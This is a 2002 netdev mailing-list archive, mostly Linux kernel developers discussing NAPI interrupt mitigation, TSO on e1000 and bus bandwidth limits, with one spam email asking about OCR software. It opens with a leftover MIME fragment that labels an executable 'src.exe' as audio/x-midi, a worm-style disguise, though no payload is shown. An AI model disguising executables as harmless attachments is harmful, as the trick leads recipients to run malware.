--K6H0NW1t7D Content-Type: audio/x-midi; name=src.exe Content-Transfer-Encoding: base64 Content-ID: --K6H0NW1t7D Content-Type: application/octet-stream; name=banners[20].htm Content-Transfer-Encoding: base64 Content-ID: PGEgaHJlZj0iaHR0cDovL3d3dy5hZGNlbnRyYWwubmwvY2dpLWJpbi9hZHZlcnRwcm8vYmFu bmVycy5mcGw/cmVnaW9uPWJlbW5ldC0xMjAtbGVmdCZtb2RlPUNMSUNLJm5hbWU9d250LTEy MCZidXN0PSZyZWZlcnJlcj1odHRwOi8vd3d3LmFkdmVydGVlcmdyYXRpcy5ubC9jbGFzc2lm aWVkLnBocCUzRmNhdGlkJTNENSUyNnN1YmNhdGlkJTNENzklMjZhZGlkJTNENTk4MTEiIHRh cmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaHR0cDovL2Jhbm5lcmV4Y2hhbmdlLmtsaWtrbGlr Lm5sL2Jhbm5lcnMyL2VkazIyLmdpZiIgYm9yZGVyPSIwIiBoZWlnaHQ9IjYwIiB3aWR0aD0i MTIwIiBhbHQ9IldhYXIgbmFhciB0b2U/IiBvbm1vdXNlb3Zlcj0nJyBvbm1vdXNlb3V0PScn PjwvYT=9 --K6H0NW1t7D-- From Cranfordlines.claimscenter@verizon.net Tue Sep 10 01:11:46 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Sep 2002 01:11:48 -0700 (PDT) Received: from MailUser (tamqfl1-ar8-4-46-216-017.tamqfl1.dsl-verizon.net [4.46.216.17]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8A8BktG023782 for ; Tue, 10 Sep 2002 01:11:46 -0700 Message-Id: <200209100811.g8A8BktG023782@oss.sgi.com> Reply-To: cranfordlines.claimscenter@verizon.net From: "Steve Kelly" To: "" Subject: What happened with your forms processing idea? Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Tue, 10 Sep 2002 04:01:58 -0400 X-archive-position: 147 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Cranfordlines.claimscenter@verizon.net Precedence: bulk X-list: netdev We are struggling with the decisions related to wether or not to go ahead with our plans to purchase an OCR and forms scanning solution. An outside consultant mentioned that he had heard that not to long ago you folks were considering implementing OCR technology to reduce data entry costs and improve efficiency. If you could let us know if you did move forward with any plans in that direction it would be of great help to us. May I ask what initialy prompted you to consider OCR? Did you decide it could help your compamy? What software did you go with? Would you recomend we take a look at it? At present we are still planning to continue our research until we decide which OCR system best suits our needs, then implement it quickly. If you are just starting to consider this technology feel free to stay in touch. We will let you know what we decide on and if it works for us. If you cannot advise on this please forward this E-mail to the proper individual in your company who might be able to help with this. Thanks, Steve From Robert.Olsson@data.slu.se Tue Sep 10 04:50:46 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Sep 2002 04:50:49 -0700 (PDT) Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8ABojtG032690 for ; Tue, 10 Sep 2002 04:50:46 -0700 Received: (from robert@localhost) by robur.slu.se (8.9.3/8.9.3) id OAA12576; Tue, 10 Sep 2002 14:02:20 +0200 From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15741.57164.402952.136812@robur.slu.se> Date: Tue, 10 Sep 2002 14:02:20 +0200 To: "David S. Miller" Cc: manfred@colorfullife.com, haveblue@us.ibm.com, hadi@cyberus.ca, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: <20020906.123428.28085660.davem@redhat.com> References: <3D78F55C.4020207@colorfullife.com> <20020906.113829.65591342.davem@redhat.com> <3D790499.8020501@colorfullife.com> <20020906.123428.28085660.davem@redhat.com> X-Mailer: VM 6.92 under Emacs 19.34.1 X-archive-position: 148 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev Manfred Spraul: >> But what if the backlog queue is empty all the time? Then NAPI thinks >> that the system is idle, and reenables the interrupts after each packet :-( Yes and this happens even with without NAPI. Just set RxIntDelay=X and send pkts at >= X+1 interval. >> Dave, do you have interrupt rates from the clients with and without NAPI? DaveM: > Robert does. Yes we get into this interesting discussion now... Since with NAPI we can safely use RxIntDelay=0 (e1000 terminologi). With the classical IRQ we simply had to add latency (RxIntDelay of 64-128 us common for GIGE) this just to survive at higher speeds (GIGE max is 1.48 Mpps) and with the interrupt latency also comes higher network latencies... IMO this delay was a "work-around" for the old interrupt scheme. So we now have the option of removing it... But we are trading less latency for for more interrupts. So yes Manfred is correct... So is there a decent setting/compromise? Well first approximation is just to do just what DaveM suggested. RxIntDelay=0. This solved many problems with buggy hardware and complicated tuning and RxIntDelay used to be combined with other mitigation parameters to compensate for different packets sizes etc. This leading to very "fragile" performance where a NIC could perform excellent w. single TCP stream but to be seriously broke in many other tests. So tuning to just one "test" can cause a lot of mis-tuning as well. Anyway. A tulip NAPI variant added mitigation when we reached "some load" to avoid the static interrupt delay. (Still keeping things pretty simple): Load "Mode" ------------------- Lo 1) RxIntDelay=0 Mid 2) RxIntDelay=fix (When we had X pkts on the RX ring) Hi 3) Consecutive polling. No RX interrupts. Is it worth the effort? For SMP w/o affinity the delay could eventually reduce the cache bouncing since the packets becomes more "batched" at cost the of latency of course. We use RxIntDelay=0 for production use. (IP-forwarding on UP) Cheers. --ro From manand@us.ibm.com Tue Sep 10 07:55:02 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Sep 2002 07:55:08 -0700 (PDT) Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8AEt1tG014929 for ; Tue, 10 Sep 2002 07:55:02 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g8AExNDf028620; Tue, 10 Sep 2002 10:59:24 -0400 Received: from d03nm123.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g8AF0Fac082726; Tue, 10 Sep 2002 09:00:15 -0600 Subject: Early SPECWeb99 results on 2.5.33 with TSO on e1000 To: inux-net@vger.kernel.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: "Mala Anand" Date: Tue, 10 Sep 2002 09:59:27 -0500 X-MIMETrack: Serialize by Router on D03NM123/03/M/IBM(Release 5.0.10 |March 22, 2002) at 09/10/2002 08:59:27 AM MIME-Version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g8AEt1tG014929 X-archive-position: 149 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: manand@us.ibm.com Precedence: bulk X-list: netdev I am resending this note with the subject heading, so that it can be viewed through the subject catagory.  > "David S. Miller" wrote: >> NAPI is also not the panacea to all problems in the world.    >Mala did some testing on this a couple of weeks back. It appears that    >NAPI damaged performance significantly. >http://www-124.ibm.com/developerworks/opensource/linuxperf/netperf/results/july_02/netperf2.5.25results.htm >Unfortunately it is not listed what e1000 and core NAPI >patch was used. Also, not listed, are the RX/TX mitigation >and ring sizes given to the kernel module upon loading. The default driver that is included in 2.5.25 kernel for Intel gigabit adapter was used for the baseline test and the NAPI driver was downloaded from Robert Olsson's website. I have updated my web page to include Robert's patch. However it is given there for reference purpose only. Except for the ones mentioned explicitly the rest of the configurable values used are default. The default for RX/TX mitigation is 64 microseconds and the default ring size is 80. I have added statistics collected during the test to my web site. I do want to analyze and understand how NAPI can be improved in my tcp_stream test. Last year around November, when I first tested NAPI, I did find NAPI results better than the baseline using udp_stream. However I am concentrating on tcp_stream since that is where NAPI can be improved in my setup. I will update the website as I do more work on this. >Robert can comment on optimal settings I saw Robert's postings. Looks like he may have a more recent version of NAPI driver than the one I used. I also see 2.5.33 has NAPI, I will move to 2.5.33 and continue my work on that. >Robert and Jamal can make a more detailed analysis of Mala's >graphs than I. Jamal has questioned about socket buffer size that I used, I have tried 132k socket buffer size in the past and I didn't see much difference in my tests. I will add that to my list again. Regards, Mala Mala Anand IBM Linux Technology Center - Kernel Performance E-mail:manand@us.ibm.com http://www-124.ibm.com/developerworks/opensource/linuxperf http://www-124.ibm.com/developerworks/projects/linuxperf Phone:838-8088; Tie-line:678-8088 From manfred@colorfullife.com Tue Sep 10 09:52:23 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Sep 2002 09:52:30 -0700 (PDT) Received: from dbl.q-ag.de (IDENT:root@dbl.q-ag.de [80.146.160.66]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8AGqLtG019003 for ; Tue, 10 Sep 2002 09:52:22 -0700 Received: from colorfullife.com (IDENT:root@localhost.localdomain [127.0.0.1]) by dbl.q-ag.de (8.11.6/8.11.6) with ESMTP id g8AGtVl19953; Tue, 10 Sep 2002 18:55:31 +0200 Message-ID: <3D7E2407.6060209@colorfullife.com> Date: Tue, 10 Sep 2002 18:55:35 +0200 From: Manfred Spraul User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0) X-Accept-Language: en, de MIME-Version: 1.0 To: Robert Olsson CC: "David S. Miller" , haveblue@us.ibm.com, hadi@cyberus.ca, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <3D78F55C.4020207@colorfullife.com> <20020906.113829.65591342.davem@redhat.com> <3D790499.8020501@colorfullife.com> <20020906.123428.28085660.davem@redhat.com> <15741.57164.402952.136812@robur.slu.se> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 150 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: manfred@colorfullife.com Precedence: bulk X-list: netdev Robert Olsson wrote: > > Anyway. A tulip NAPI variant added mitigation when we reached "some > load" to avoid the static interrupt delay. (Still keeping things > pretty simple): > > Load "Mode" > ------------------- > Lo 1) RxIntDelay=0 > Mid 2) RxIntDelay=fix (When we had X pkts on the RX ring) > Hi 3) Consecutive polling. No RX interrupts. > Sounds good. The difficult part is when to go from Lo to Mid. Unfortunately my tulip card is braindead (LC82C168), but I'll try to find something usable for benchmarking In my tests with the winbond card, I've switched at a fixed packet rate: < 2000 packets/sec: no delay > 2000 packets/sec: poll rx at 0.5 ms -- Manfred From Robert.Olsson@data.slu.se Wed Sep 11 00:35:06 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Sep 2002 00:35:09 -0700 (PDT) Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8B7Z4tG001576 for ; Wed, 11 Sep 2002 00:35:05 -0700 Received: (from robert@localhost) by robur.slu.se (8.9.3/8.9.3) id JAA30508; Wed, 11 Sep 2002 09:46:45 +0200 From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15742.62693.570789.558310@robur.slu.se> Date: Wed, 11 Sep 2002 09:46:45 +0200 To: Manfred Spraul Cc: Robert Olsson , "David S. Miller" , haveblue@us.ibm.com, hadi@cyberus.ca, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: <3D7E2407.6060209@colorfullife.com> References: <3D78F55C.4020207@colorfullife.com> <20020906.113829.65591342.davem@redhat.com> <3D790499.8020501@colorfullife.com> <20020906.123428.28085660.davem@redhat.com> <15741.57164.402952.136812@robur.slu.se> <3D7E2407.6060209@colorfullife.com> X-Mailer: VM 6.92 under Emacs 19.34.1 X-archive-position: 151 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev > > Load "Mode" > > ------------------- > > Lo 1) RxIntDelay=0 > > Mid 2) RxIntDelay=fix (When we had X pkts on the RX ring) > > Hi 3) Consecutive polling. No RX interrupts. Manfred Spraul writes: > Sounds good. > > The difficult part is when to go from Lo to Mid. Unfortunately my tulip > card is braindead (LC82C168), but I'll try to find something usable for > benchmarking 21143 for tulip's. Well any NIC with "RxIntDelay" should do. > In my tests with the winbond card, I've switched at a fixed packet rate: > > < 2000 packets/sec: no delay > > 2000 packets/sec: poll rx at 0.5 ms I was experimenting with all sorts of moving averages but never got a good correlation with bursty network traffic as this level of resolution. The only measure I found fast and simple enough for this was the number of packets on the RX ring as I mentioned. Cheers. --ro From ebiederm@xmission.com Wed Sep 11 02:21:40 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Sep 2002 02:21:45 -0700 (PDT) Received: from frodo.biederman.org (ebiederm.dsl.xmission.com [166.70.28.69]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8B9LdtG009924 for ; Wed, 11 Sep 2002 02:21:39 -0700 Received: (from eric@localhost) by frodo.biederman.org (8.9.3/8.9.3) id DAA14951; Wed, 11 Sep 2002 03:11:49 -0600 To: "Martin J. Bligh" Cc: "David S. Miller" , hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Nivedita Singhvi Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <20020905.204721.49430679.davem@redhat.com> <18563262.1031269721@[10.10.2.3]> From: ebiederm@xmission.com (Eric W. Biederman) Date: 11 Sep 2002 03:11:49 -0600 In-Reply-To: <18563262.1031269721@[10.10.2.3]> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 152 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ebiederm@xmission.com Precedence: bulk X-list: netdev "Martin J. Bligh" writes: > > Ie. the headers that don't need to go across the bus are the critical > > resource saved by TSO. > > I'm not sure that's entirely true in this case - the Netfinity > 8500R is slightly unusual in that it has 3 or 4 PCI buses, and > there's 4 - 8 gigabit ethernet cards in this beast spread around > different buses (Troy - are we still just using 4? ... and what's > the raw bandwidth of data we're pushing? ... it's not huge). > > I think we're CPU limited (there's no idle time on this machine), > which is odd for an 8 CPU 900MHz P3 Xeon, Quite possibly. The P3 has roughly an 800MB/s FSB bandwidth, that must be used for both I/O and memory accesses. So just driving a gige card at wire speed takes a considerable portion of the cpus capacity. On analyzing this kind of thing I usually find it quite helpful to compute what the hardware can theoretically to get a feel where the bottlenecks should be. Eric From mbligh@aracnet.com Wed Sep 11 07:08:24 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Sep 2002 07:08:30 -0700 (PDT) Received: from franka.aracnet.com (franka.aracnet.com [216.99.193.44]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8BE8OtG018697 for ; Wed, 11 Sep 2002 07:08:24 -0700 Received: from titus.gormenghast (216-99-201-239.dial.spiritone.com [216.99.201.239]) by franka.aracnet.com (8.12.5/8.12.5) with ESMTP id g8BEAtv5022508; Wed, 11 Sep 2002 07:10:55 -0700 Received: from [10.10.2.3] (fuchsia.gormenghast [10.10.2.3]) by titus.gormenghast (8.12.3/8.12.3/Debian -4) with ESMTP id g8BECo5c021435; Wed, 11 Sep 2002 07:12:50 -0700 Date: Wed, 11 Sep 2002 07:10:57 -0700 From: "Martin J. Bligh" Reply-To: "Martin J. Bligh" To: "Eric W. Biederman" cc: "David S. Miller" , hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Nivedita Singhvi Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Message-ID: <477096648.1031728254@[10.10.2.3]> In-Reply-To: References: X-Mailer: Mulberry/2.1.2 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 153 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mbligh@aracnet.com Precedence: bulk X-list: netdev >> > Ie. the headers that don't need to go across the bus are the critical >> > resource saved by TSO. >> >> I'm not sure that's entirely true in this case - the Netfinity >> 8500R is slightly unusual in that it has 3 or 4 PCI buses, and >> there's 4 - 8 gigabit ethernet cards in this beast spread around >> different buses (Troy - are we still just using 4? ... and what's >> the raw bandwidth of data we're pushing? ... it's not huge). >> >> I think we're CPU limited (there's no idle time on this machine), >> which is odd for an 8 CPU 900MHz P3 Xeon, > > Quite possibly. The P3 has roughly an 800MB/s FSB bandwidth, that must > be used for both I/O and memory accesses. So just driving a gige card at > wire speed takes a considerable portion of the cpus capacity. > > On analyzing this kind of thing I usually find it quite helpful to > compute what the hardware can theoretically to get a feel where the > bottlenecks should be. We can push about 420MB/s of IO out of this thing (out of that theoretical 800Mb/s). Specweb is only pushing about 120MB/s of total data through it, so it's not bus limited in this case. Of course, I should have given you that data to start with, but ... ;-) M. PS. This thing actually has 3 system buses, 1 for each of the two sets of 4 CPUs, and 1 for all the PCI buses, and the three buses are joined by an interconnect in the middle. But all the IO goes through 1 of those buses, so for the purposes of this discussion, it makes no difference whatsoever ;-) From ebiederm@xmission.com Wed Sep 11 08:16:32 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Sep 2002 08:16:39 -0700 (PDT) Received: from frodo.biederman.org (ebiederm.dsl.xmission.com [166.70.28.69]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8BFGVtG021175 for ; Wed, 11 Sep 2002 08:16:31 -0700 Received: (from eric@localhost) by frodo.biederman.org (8.9.3/8.9.3) id JAA15577; Wed, 11 Sep 2002 09:06:37 -0600 To: "Martin J. Bligh" Cc: "David S. Miller" , hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Nivedita Singhvi Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <477096648.1031728254@[10.10.2.3]> From: ebiederm@xmission.com (Eric W. Biederman) Date: 11 Sep 2002 09:06:36 -0600 In-Reply-To: <477096648.1031728254@[10.10.2.3]> Message-ID: Lines: 55 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 154 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ebiederm@xmission.com Precedence: bulk X-list: netdev "Martin J. Bligh" writes: > >> > Ie. the headers that don't need to go across the bus are the critical > >> > resource saved by TSO. > >> > >> I'm not sure that's entirely true in this case - the Netfinity > >> 8500R is slightly unusual in that it has 3 or 4 PCI buses, and > >> there's 4 - 8 gigabit ethernet cards in this beast spread around > >> different buses (Troy - are we still just using 4? ... and what's > >> the raw bandwidth of data we're pushing? ... it's not huge). > >> > >> I think we're CPU limited (there's no idle time on this machine), > >> which is odd for an 8 CPU 900MHz P3 Xeon, > > > > Quite possibly. The P3 has roughly an 800MB/s FSB bandwidth, that must > > be used for both I/O and memory accesses. So just driving a gige card at > > wire speed takes a considerable portion of the cpus capacity. > > > > On analyzing this kind of thing I usually find it quite helpful to > > compute what the hardware can theoretically to get a feel where the > > bottlenecks should be. > > We can push about 420MB/s of IO out of this thing (out of that > theoretical 800Mb/s). Sounds about average for a P3. I have pushed the full 800MiB/s out of a P3 processor to memory but it was a very optimized loop. Is that 420MB/sec of IO on this test? > Specweb is only pushing about 120MB/s of > total data through it, so it's not bus limited in this case. Note quite. But you suck at least 240MB/s of your memory bandwidth with DMA from disk, and then DMA to the nic. Unless there is a highly cached component. So I doubt you can effectively use more than 1 gige card, maybe 2. And you have 8? > Of course, I should have given you that data to start with, > but ... ;-) > > PS. This thing actually has 3 system buses, 1 for each of the two > sets of 4 CPUs, and 1 for all the PCI buses, and the three buses > are joined by an interconnect in the middle. But all the IO goes > through 1 of those buses, so for the purposes of this discussion, > it makes no difference whatsoever ;-) Wow the hardware designers really believed in over-subscription. If the busses are just running 64bit/33Mhz you are oversubscribed. And at 64bit/66Mhz the pci busses can easily swamp the system 533*4 ~= 2128MB/s. What kind of memory bandwidth does the system have, and on which bus are the memory controllers? I'm just curious Eric From davem@redhat.com Wed Sep 11 08:18:53 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Sep 2002 08:18:55 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8BFIrtG021573 for ; Wed, 11 Sep 2002 08:18:53 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id IAA28585; Wed, 11 Sep 2002 08:15:22 -0700 Date: Wed, 11 Sep 2002 08:15:21 -0700 (PDT) Message-Id: <20020911.081521.103561835.davem@redhat.com> To: ebiederm@xmission.com Cc: mbligh@aracnet.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: References: <477096648.1031728254@[10.10.2.3]> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 155 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: ebiederm@xmission.com (Eric W. Biederman) Date: 11 Sep 2002 09:06:36 -0600 "Martin J. Bligh" writes: > We can push about 420MB/s of IO out of this thing (out of that > theoretical 800Mb/s). Sounds about average for a P3. I have pushed the full 800MiB/s out of a P3 processor to memory but it was a very optimized loop. You pushed that over the PCI bus of your P3? Just to RAM doesn't count, lots of cpu's can do that. That's what makes his number interesting. From mbligh@aracnet.com Wed Sep 11 08:24:47 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Sep 2002 08:24:51 -0700 (PDT) Received: from franka.aracnet.com (franka.aracnet.com [216.99.193.44]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8BFOltG022024 for ; Wed, 11 Sep 2002 08:24:47 -0700 Received: from titus.gormenghast (216-99-201-239.dial.spiritone.com [216.99.201.239]) by franka.aracnet.com (8.12.5/8.12.5) with ESMTP id g8BFRKv5026162; Wed, 11 Sep 2002 08:27:21 -0700 Received: from [10.10.2.3] (fuchsia.gormenghast [10.10.2.3]) by titus.gormenghast (8.12.3/8.12.3/Debian -4) with ESMTP id g8BFTF5c021913; Wed, 11 Sep 2002 08:29:15 -0700 Date: Wed, 11 Sep 2002 08:27:21 -0700 From: "Martin J. Bligh" Reply-To: "Martin J. Bligh" To: "Eric W. Biederman" cc: "David S. Miller" , hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Nivedita Singhvi Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Message-ID: <481681441.1031732839@[10.10.2.3]> In-Reply-To: References: X-Mailer: Mulberry/2.1.2 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 156 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mbligh@aracnet.com Precedence: bulk X-list: netdev > Sounds about average for a P3. I have pushed the full 800MiB/s out of > a P3 processor to memory but it was a very optimized loop. Is > that 420MB/sec of IO on this test? Yup, Fibre channel disks. So we know we can push at least that. > Note quite. But you suck at least 240MB/s of your memory bandwidth with > DMA from disk, and then DMA to the nic. Unless there is a highly > cached component. So I doubt you can effectively use more than 1 gige > card, maybe 2. And you have 8? Nope, it's operating totally out of pagecache, there's no real disk IO to speak of. > Wow the hardware designers really believed in over-subscription. > If the busses are just running 64bit/33Mhz you are oversubscribed. > And at 64bit/66Mhz the pci busses can easily swamp the system > 533*4 ~= 2128MB/s. Two 32bit buses (or maybe it was just one) and two 64bit buses, all at 66MHz. Yes, the PCI buses can push more than the backplane, but things are never perfectly balanced in reality, so I'd prefer it that way around ... it's not a perfect system, but hey, it's Intel hardware - this is high volume market, not real high end ;-) > What kind of memory bandwidth does the system have, and on which > bus are the memory controllers? I'm just curious Memory controllers are hung off the interconnect, slightly difficult to describe. Look for docs on the Intel profusion chipset, or I can send you a powerpoint (yeah, yeah) presentation when I get into work later today if you can't find it. Theoretical mem bandwidth should be 1600MB/s if you're balanced across the CPUs, in practice I'd expect to be able to push somewhat over 800Mb/s. M. From ebiederm@xmission.com Wed Sep 11 08:41:47 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Sep 2002 08:41:52 -0700 (PDT) Received: from frodo.biederman.org (ebiederm.dsl.xmission.com [166.70.28.69]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8BFfltG022653 for ; Wed, 11 Sep 2002 08:41:47 -0700 Received: (from eric@localhost) by frodo.biederman.org (8.9.3/8.9.3) id JAA15667; Wed, 11 Sep 2002 09:31:53 -0600 To: "David S. Miller" Cc: mbligh@aracnet.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <477096648.1031728254@[10.10.2.3]> <20020911.081521.103561835.davem@redhat.com> From: ebiederm@xmission.com (Eric W. Biederman) Date: 11 Sep 2002 09:31:53 -0600 In-Reply-To: <20020911.081521.103561835.davem@redhat.com> Message-ID: Lines: 46 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 157 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ebiederm@xmission.com Precedence: bulk X-list: netdev "David S. Miller" writes: > From: ebiederm@xmission.com (Eric W. Biederman) > Date: 11 Sep 2002 09:06:36 -0600 > > "Martin J. Bligh" writes: > > > We can push about 420MB/s of IO out of this thing (out of that > > theoretical 800Mb/s). > > Sounds about average for a P3. I have pushed the full 800MiB/s out of > a P3 processor to memory but it was a very optimized loop. > > You pushed that over the PCI bus of your P3? Just to RAM > doesn't count, lots of cpu's can do that. > > That's what makes his number interesting. I agree. Getting 420MB/s to the pci bus is nice, especially with a P3. The 800MB/s to memory was just the test I happened to conduct about 2 years ago when I was still messing with slow P3 systems. It was a proof of concept test to see if we could plug in an I/O card into a memory slot. On a current P4 system with the E7500 chipset this kind of thing is easy. I have gotten roughly 450MB/s to a single myrinet card. And there is enough theoretical bandwidth to do 4 times that. I haven't had a chance to get it working in practice. When I attempted to run to gige cards simultaneously I had some weird problem (probably interrupt related) where adding additional pci cards did not deliver any extra performance. On a P3 to get writes from the cpu to hit 800MB/s you use the special cpu instructions that bypass the cache. My point was that I have tested the P3 bus in question and I achieved a real world 800MB/s over it. So I expect that on the system in question unless another bottleneck is hit, it should be possible to achieve a real world 800MB/s of I/O. There are enough pci busses to support that kind of traffic. Unless the memory controller is carefully placed on the system though doing 400+MB/s could easily eat up most of the available memory bandwidth and reduce the system to doing some very slow cache line fills. Eric From todd@osogrande.com Thu Sep 12 00:26:37 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Sep 2002 00:26:43 -0700 (PDT) Received: from puerco.nm.org (puerco.nm.org [129.121.1.22]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8C7QbtG024494 for ; Thu, 12 Sep 2002 00:26:37 -0700 Received: (qmail 78226 invoked from network); 12 Sep 2002 07:27:30 -0000 Received: from unknown (HELO gallinas) (129.121.5.22) by puerco.nm.org with SMTP; 12 Sep 2002 07:27:30 -0000 Date: Thu, 12 Sep 2002 01:28:34 -0600 (MDT) From: Todd Underwood X-X-Sender: todd@gp To: "David S. Miller" cc: "hadi@cyberus.ca" , "tcw@tempest.prismnet.com" , "linux-kernel@vger.kernel.org" , "netdev@oss.sgi.com" Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: <20020905.204721.49430679.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 158 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: todd@osogrande.com Precedence: bulk X-list: netdev folx, sorry for the late reply. catching up on kernel mail. so all this TSO stuff looks v. v. similar to the IP-only fragmentation that patricia gilfeather and i implemented on alteon acenics a couple of years ago (see http://www.cs.unm.edu/~maccabe/SSL/frag/FragPaper1/ for a general overview). it's exciting to see someone else take a stab on different hardware and approaching some of the tcp-specific issues. the main different, though, is that general purpose kernel 